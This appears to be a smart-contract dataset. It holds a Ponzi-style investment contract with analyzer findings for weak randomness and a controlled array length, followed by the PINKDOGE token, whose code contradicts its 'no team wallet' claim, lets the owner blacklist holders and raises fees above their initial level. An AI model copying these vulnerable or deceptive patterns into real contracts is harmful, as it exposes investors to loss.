uint amountPerDay = DAILY_PERCENT.getPercentFrom(investors[addr].balance);
uint timeLapse = now.sub(investors[addr].lastDepositDate);
return amountPerDay.mul(timeLapse).div(1 days);
}
function getInvestorBalance(address addr) public view returns(uint) {
return investors[addr].balance;
}
function getInvestorInfo(address addr) public onlyOwner view returns(uint, uint, uint, uint) {
return (
investors[addr].id,
investors[addr].balance,
investors[addr].depositCount,
investors[addr].lastDepositDate
);
}
function newCycle() private {
address addr;
uint8 iteration;
uint i;
for (i = addresses.length - 1; i > 0; i--) {
addr = addresses[i];
addresses.length -= 1;
delete investors[addr];
iteration++;
if (iteration >= ITERATION_LIMIT) {
return;
}
}
for (i = ticketsAddresses.length - 1; i > 0; i--) {
addr = ticketsAddresses[i];
ticketsAddresses.length -= 1;
delete tickets[addr];
iteration++;
if (iteration >= ITERATION_LIMIT) {
return;
}
}
emit NextCycle(cycle, now, getBalance());
cycle++;
investorCount = 0;
lastPayoutDate = now;
lastDepositDate = now;
isCycleFinish = false;
resetLotteryBalance();
resetStellarBalance();
resetStellarInvestor();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Math {
struct percent {
uint percent;
uint base;
}
function getPercentFrom(percent storage p, uint value) internal view returns (uint) {
return value * p.percent / p.base / 100;
}
}
library Utils {
struct winner {
address addr;
uint balance;
uint prize;
uint date;
}
} | 0x6080604052600436106100f05763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663035e898a81146101925780630707873c146101ca57806312065fe0146102115780631d66ff8e1461023857806332492f96146102595780633e25fdd41461026e5780634fcb9e2f146102b35780635674a3ed146102c85780635ea63913146102f157806360654e47146103125780638aebebd914610327578063960524e31461033c578063b91fe64b14610351578063c03bd29214610366578063e11523431461037b578063e5b5a52714610393578063f88649a1146103a8575b601e5460ff1615610171576040805160e560020a62461bcd02815260206004820152603a60248201527f4379636c6520636f6d706c657465642e20546865206e6577206379636c65207760448201527f696c6c2073746172742077697468696e20323420686f7572732e000000000000606482015290519081900360840190fd5b34151561018657610181336103bd565b610190565b6101903334610608565b005b34801561019e57600080fd5b506101a7610822565b60408051600160a060020a03909316835260208301919091528051918290030190f35b3480156101d657600080fd5b506101eb600160a060020a0360043516610836565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561021d57600080fd5b5061022661088b565b60408051918252519081900360200190f35b34801561024457600080fd5b50610226600160a060020a0360043516610891565b34801561026557600080fd5b50610226610914565b34801561027a57600080fd5b5061028361091a565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b3480156102bf57600080fd5b50610226610938565b3480156102d457600080fd5b506102dd61093e565b604080519115158252519081900360200190f35b3480156102fd57600080fd5b50610226600160a060020a0360043516610965565b34801561031e57600080fd5b50610226610983565b34801561033357600080fd5b506102dd610989565b34801561034857600080fd5b506102266109c9565b34801561035d57600080fd5b506102266109cf565b34801561037257600080fd5b506102dd6109d5565b34801561038757600080fd5b506101906004356109de565b34801561039f57600080fd5b50610190610c2c565b3480156103b457600080fd5b50610283610c4d565b601e54600090819060ff1615610443576040805160e560020a62461bcd02815260206004820152603a60248201527f4379636c6520636f6d706c657465642e20546865206e6577206379636c65207760448201527f696c6c2073746172742077697468696e20323420686f7572732e000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152601f602052604081208054909350116104b5576040805160e560020a62461bcd02815260206004820152601160248201527f4163636f756e74206e6f7420666f756e64000000000000000000000000000000604482015290519081900360640190fd5b60006104e061a8c06104d4856003015442610c6b90919063ffffffff16565b9063ffffffff610c8916565b1161055b576040805160e560020a62461bcd02815260206004820152602c60248201527f546865206c6174657374207061796d656e7420776173206561726c696572207460448201527f68616e20313220686f7572730000000000000000000000000000000000000000606482015290519081900360840190fd5b61056483610891565b9050303181111561058157601e805460ff19166001179055610603565b604051600160a060020a0384169082156108fc029083906000818181858888f193505050501580156105b7573d6000803e3d6000fd5b5042600383015560408051600160a060020a03851681526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15b505050565b600080662386f26fc10000831015610690576040805160e560020a62461bcd02815260206004820152602260248201527f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3031206560448201527f7468000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0384166000908152601f602052604090208054909250151561071957601a8054808455600180820183556000929092527f057c384a7d1c54f3a1b2e5e67b2617b8224fdfd1ea7234eea573a6ff665ff63e01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038716179055601b805490910190555b61072a60138463ffffffff610cac16565b905061074561074060158563ffffffff610cac16565b610cd7565b61075e61075960178563ffffffff610cac16565b610cf0565b6107688484610d09565b600182015461077d908463ffffffff610dd816565b600180840191825560028401805490910190554260038401819055601d55546107a7908590610df1565b6040805133815234602082015281517fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e929181900390910190a1601954604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015801561081b573d6000803e3d6000fd5b5050505050565b600b54600c54600160a060020a0390911691565b601954600090819081908190600160a060020a0316331461085657600080fd5b50505050600160a060020a03166000908152601f60205260409020805460018201546002830154600390930154919390929190565b30315b90565b600160a060020a0381166000908152601f6020526040812060010154819081906108c39060119063ffffffff610cac16565b600160a060020a0385166000908152601f60205260409020600301549092506108f390429063ffffffff610c6b16565b905061090c620151806104d4848463ffffffff610e7a16565b949350505050565b600a5490565b600d54600e54600f54601054600160a060020a039093169290919293565b601c5490565b601954600090600160a060020a0316331461095857600080fd5b610960610ea8565b905090565b600160a060020a03166000908152601f602052604090206001015490565b60005490565b601954600090600160a060020a031633146109a357600080fd5b601e5460ff161515600114156109c3576109bb610f66565b50600061088e565b50600190565b601b5490565b601d5490565b601e5460ff1681565b6019546000908190819081908190600160a060020a03163314610a0057600080fd5b601e5460ff1615610a81576040805160e560020a62461bcd02815260206004820152603a60248201527f4379636c6520636f6d706c657465642e20546865206e6577206379636c65207760448201527f696c6c2073746172742077697468696e20323420686f7572732e000000000000606482015290519081900360840190fd5b851515610a8d57600195505b8591505b601b548211158015610aa35750606485105b15610bdd57601a805483908110610ab657fe5b6000918252602080832090910154600160a060020a0316808352601f9091526040909120600301549091504262014370919091011115610af557610bd2565b610afe81610891565b92503031831115610b1b57601e805460ff19166001179055610c24565b604051600160a060020a0382169084156108fc029085906000818181858888f19350505050158015610b51573d6000803e3d6000fd5b5060408051600160a060020a038316815260208101859052428183015290517fd5ede3acb66ee493eeb318369545bd2a34c33a3f54632e4537b62c784cdc726b9181900360600190a1600160a060020a0381166000908152601f6020526040902042600390910155610bc9848463ffffffff610dd816565b60019095019493505b600190910190610a91565b42601c819055604080518681526020810188905280820192909252517fc8be76c1b18e6f688cdb6f785d69442c4f00222e1884d39e40e761aab9e0f2949181900360600190a15b505050505050565b601954600160a060020a03163314610c4357600080fd5b610c4b611171565b565b600654600754600854600954600160a060020a039093169290919293565b60008083831115610c7b57600080fd5b5050808203805b5092915050565b600080808311610c9857600080fd5b8284811515610ca357fe5b04949350505050565b60006064836001015484600001548402811515610cc557fe5b04811515610ccf57fe5b049392505050565b600054610cea908263ffffffff610dd816565b60005550565b600a54610d03908263ffffffff610dd816565b600a5550565b600067016345785d8a0000821061060357610d328267016345785d8a000063ffffffff610c8916565b600154909150610d48908263ffffffff610dd816565b60019081556002805491820190557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038516908117909155600090815260036020526040902054610dba9082610dd8565b600160a060020a038416600090815260036020526040902055505050565b600082820183811015610dea57600080fd5b9392505050565b600c54811115610e7657604080518082018252600160a060020a0384168082526020918201849052600b805473ffffffffffffffffffffffffffffffffffffffff191682179055600c849055825190815290810183905281517f56a8ddd37b32448b6fb45362a44ccfb678567ad3611afcf4d747e205be730ecb929181900390910190a15b5050565b600080831515610e8d5760009150610c82565b50828202828482811515610e9d57fe5b0414610dea57600080fd5b6000806000610eb5610983565b1115610f5d57610ec3611205565b9050600160a060020a0381161515610ede5760009150610f62565b80600160a060020a03166108fc610ef3610983565b6040518115909202916000818181858888f19350505050158015610f1b573d6000803e3d6000fd5b50600160a060020a0381166000908152601f6020526040902060010154610f4c908290610f46610983565b426112e0565b610f5461131c565b60019150610f62565b600091505b5090565b601a546000908190600019015b600081111561100a57601a805482908110610f8a57fe5b600091825260209091200154601a8054600160a060020a03909216945060001990910190610fb89082611429565b50600160a060020a0383166000908152601f602052604081208181556001808201839055600282018390556003909101919091559190910190609660ff83161061100157610603565b60001901610f73565b50600254600019015b600081111561109157600280548290811061102a57fe5b60009182526020909120015460028054600160a060020a039092169450600019909101906110589082611429565b50600160a060020a038316600090815260036020526040812055600190910190609660ff83161061108857610603565b60001901611013565b6019547ff8bb353474248000eaa7d0c64042ecf36379a75c97fc63e4561e66443743148b9074010000000000000000000000000000000000000000900460ff16426110da61088b565b6040805160ff9094168452602084019290925282820152519081900360600190a160198054600160ff74010000000000000000000000000000000000000000808404821692909201160274ff0000000000000000000000000000000000000000199091161790556000601b5542601c819055601d55601e805460ff1916905561116161131c565b611169611327565b61060361132e565b600080600061117e610914565b9250600083111561060357611191610822565b6040519193509150600160a060020a0383169084156108fc029085906000818181858888f193505050501580156111cc573d6000803e3d6000fd5b50600160a060020a0382166000908152601f60205260409020600101546111fd9083906111f7610914565b42611352565b610603611327565b60008060008060055460001415156112265761122260015461138e565b6005555b505060045460009060ff165b60025460ff82161080156112495750609660ff8216105b156112c6576002805460ff831690811061125f57fe5b6000918252602080832090910154600160a060020a0316808352600390915260409091205490935061129890839063ffffffff610dd816565b9150816005541115156112be5760006005556004805460ff1916905591925082916112da565b600101611232565b6004805460ff191660ff8316179055600093505b50505090565b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039590951694909417909355600791909155600855600955565b600060018190558055565b6000600a55565b600b805473ffffffffffffffffffffffffffffffffffffffff191690556000600c55565b600d805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039590951694909417909355600e91909155600f55601055565b600081424460405160200180838152602001828152602001925050506040516020818303038152906040526040518082805190602001908083835b602083106113e85780518252601f1990920191602091820191016113c9565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561141e57fe5b066001019050919050565b8154818355818111156106035760008381526020902061060391810190830161088e91905b80821115610f62576000815560010161144e5600a165627a7a72305820ff067735b6fcfc7910102c9f69d3b94b54f375a6a81ecd3773111efe8d1ed8570029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,872 |
0x909fc777870c5d76f63be864f78e07c5cc09a8f5 | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/pinkdogeerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PINKDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PINKDOGE | t.me/pinkdogeerc";
string private constant _symbol = "PINKD";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 1;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601b81526020017f50494e4b444f4745207c20742e6d652f70696e6b646f67656572630000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffff